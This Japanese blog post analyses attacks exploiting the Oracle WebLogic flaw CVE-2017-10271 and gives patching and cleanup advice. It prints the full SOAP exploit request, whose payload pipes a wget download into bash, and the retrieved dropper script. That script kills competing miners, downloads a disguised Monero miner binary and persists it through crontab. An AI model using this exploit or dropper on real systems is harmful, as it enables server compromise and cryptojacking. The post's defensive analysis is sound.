Oracle WebLogic Server の脆弱性を利用した攻撃が確認される

Oracle WebLogic Server の脆弱性を利用した攻撃が確認される - Monero サーバー
スポンサーリンク


Oracle WebLogic Server の脆弱性を利用した攻撃が確認される

2018年1月15日にIPAが注意喚起した、Oracle WebLogic Serverの脆弱性(CVE-2017-10271)を利用した攻撃が確認されました。

今回攻撃の影響を受けるバージョンは下記の通り。

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.1.0
  • 12.2.1.2.0

なお、今回の脆弱性に対する修正パッチ(バージョン12.2.1.3.0)は2017年10月にリリース済みです。

Oracle WebLogicを利用されている方は、速やかに「Oracle Critical Patch Update Advisory – October 2017」を確認して、パッチの適用を実施してください。

脆弱性(CVE-2017-10271)の概要

本脆弱性は、Oracle WebLogic Serverのサブコンポーネント、WLS Securityに対して細工したリクエストを送信することで、サーバー実行ユーザー権限でコマンドを実行できてしまうというものです。

現在は、暗号通貨のマイナーが仕込まれるといった攻撃しか確認されていませんが、他の用途にも悪用できますので速やかな対処が必要です。

細工されたリクエストを覗いてみる

/wls-wsat/CoordinatorPortTypeに対して、攻撃者は下記のようなPOSTリクエストを送信します。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ********
User-Agent: Memes/1.3.3.7
Content-Type: text/xml
Content-Length: 594
<soapenv:Envelope xmlns:soapenv="http://******/soap/envelope/">
 <soapenv:Header>
  <work:WorkContext xmlns:work="http://****.com/****/****/soap/workarea/">
   <java version="1.8.0_151" class="java.beans.XMLDecoder">
     <void class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="3">
       <void index="0">
        <string>/bin/bash</string>
       </void>
       <void index="1">
        <string>-c</string>
       </void>
       <void index="2">
        <string>wget -O - http://******/jquery.js | bash</string>
       </void>
      </array>
      <void method="start" />
     </void>
   </java>
  </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body />
</soapenv:Envelope>

リクエストの中身を覗いてみると、/wls-wsat/CordinatorPortType に対してPOSTスクリプトを投げていることがまず分かります。

更に読み解くと、配列を使って文字を挿入していることが見て取れます。これらを続けて記載すると、

/bin/bash -c wget -O - http://******/jquery.js | bash

となります。

これは、bashを使って、-cで実行コマンドを渡しており、渡されるコマンドはhttp://******/jquery.jsをwgetでダウンロードし、パイプでbashに渡していることが分かります。

この「http://******/jquery.js」をダウンロードして中身を見てみると、案の定shellスクリプトで、下記のような記載がありました。

#!/bin/bash

# If you're reading this you shouldn't. You just rm -rf /tmp/.daemon; rm -rf /var/tmp/.daemon and have a nice day.

pkill -f pool
pkill -f miner
pkill -f stratum
pkill -f monero
pkill -f mine
pkill -f xmrig


FIRST="/tmp/.daemon"
FIRSTPATH="/tmp/.daemon/.a"
SECOND="/var/tmp/.daemon"
SECONDPATH="/var/tmp/.daemon/.a"
BIN="http://****/bootstrap.css"
FLAGS="-B -o pool.minexmr.com:4444 --safe -k --donate-level=1 -u 44Cq5f8ggU7BSdHeDRsaH1WZLsoDcJtTnBfL9WqhriCXbRsnSnNwMgpGYii1ZwPP28GHyMrGFFpBMLVGUa9oBSbjTkcefxK.new -p x"

if [ -d "$FIRST" ]; then rm -rf $FIRST; fi
if [ -d "$SECOND" ]; then rm -rf $SECOND; fi

if mkdir -p "$FIRST" ; then
    wget $BIN -O $FIRSTPATH 2>/dev/null || curl $BIN -o $FIRSTPATH 2>/dev/null
    if [ -e "$FIRST" ]; then
        echo "@reboot command $FIRSTPATH $FLAGS" | crontab -
	chmod +x $FIRSTPATH
        command $FIRSTPATH $FLAGS
    fi
elif mkdir -p "$SECOND" ; then
    wget $BIN -O $SECONDPATH 2>/dev/null || curl $BIN -o $SECONDPATH 2>/dev/null
    if [ -e "$SECONDPATH" ]; then
        echo "@reboot command $SECONDPATH $FLAGS" | crontab -
	chmod +x $SECONDPATH
        command $SECONDPATH $FLAGS
    fi
fi

上記のような内容が記載されています。てっきり難読化されてるものかとばかり思っていましたが、素のShellスクリプトのようです。

まずはじめに、Monero($XMR)マイニングに関するプロセスをpkillで片っ端から止めています。

正直なところ企業用WEBサーバで暗号通貨をマイニングするなんてことはしないので、恐らく他の攻撃者が仕掛けたプロセスを片っ端から止めて、プールマイニングしようという魂胆なのでしょう。

そして、マイナーを配置するパスなどを変数に代入しているのですが、ここで「BIN=”http://****/bootstrap.css”」という表記に注目します。

正直なところ、ここまで分かるとこれがMoneroマイナーの本体だということが分かるのですが、念のためfileコマンドで確認してみます。

[syobon@akashi ~]$ file bootstrap.css 
bootstrap.css: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44f0c4778688c2bd59d9b64863989f3d0f6db636, stripped

ビンゴですね。ELFファイルであることが分かります。

これを利用して、crontabにマイニングジョブを追加しているわけですね。

Oracle WebLogic Server の脆弱性を利用した攻撃が確認される - Monero

残念ながらアタッカーのWalletは分かりませんが、プールのWorker IDはこれで分かりましたので、プールサイトからWorker Statusを確認してみました。

2018年1月17日 23時33分に確認したところ、少なくとも10分前には1.21KH/sほど出ていたので、このWorker IDが攻撃のみに利用されていると仮定した場合、少なからず被害者は居るようですね。

ただ、1.21KH/sってGeForce GTX1080 1枚分と同値なので、ここまでリスクを冒して得られた結果がこれとは・・・

なお、仮にこの脆弱性が悪用されて、マイナーが仕込まれると瞬時にCPU使用率が著しく跳ね上がりますので、パフォーマンス監視をしていれば直ぐに気付ける物と思われます。

もし被害に遭った場合は

管理しているOracle WebLogicサーバでCPU使用率が跳ね上がった場合は、topコマンドなどで不審なプロセスが上がっていないか確認してください。

もし上がっていれば、killコマンドもしくはpkillコマンドでマイナープロセスを停止し、Oracle WebLogic Server実行ユーザーのcrontabを確認し、身に覚えの無いジョブが追加されていれば削除を実施してください。

そして最後に必ずOracle WebLogic Serverのアップデートを実施してください。

冒頭でも述べましたが、今はMoneroのマイニングにだけ使われていますが、Oracle WebLogic Serverを実行しているユーザー権限で、コマンドを実行できてしまうので、さらなる被害を受ける恐れがあることを意識して対応するようにしてください。

Source: IPA

コメント

  1. 藤原 より:

    5月初めころから POST /wls-wsat/CoordinatorPortType がたくさん来るようになっていましたね。 今日も HK と CN から来ていました。
    それに続いて GET /index.php などがあるのですけど、すべて 403 を返す仕掛けがうまく動いています。

    • YUKITO KATO より:

      未だに攻撃来てますよね・・・
      国内でも対策されていないサーバがまだまだあるようで、攻撃者側もまだ一定の効果があると思っているからかもしれませんね・・・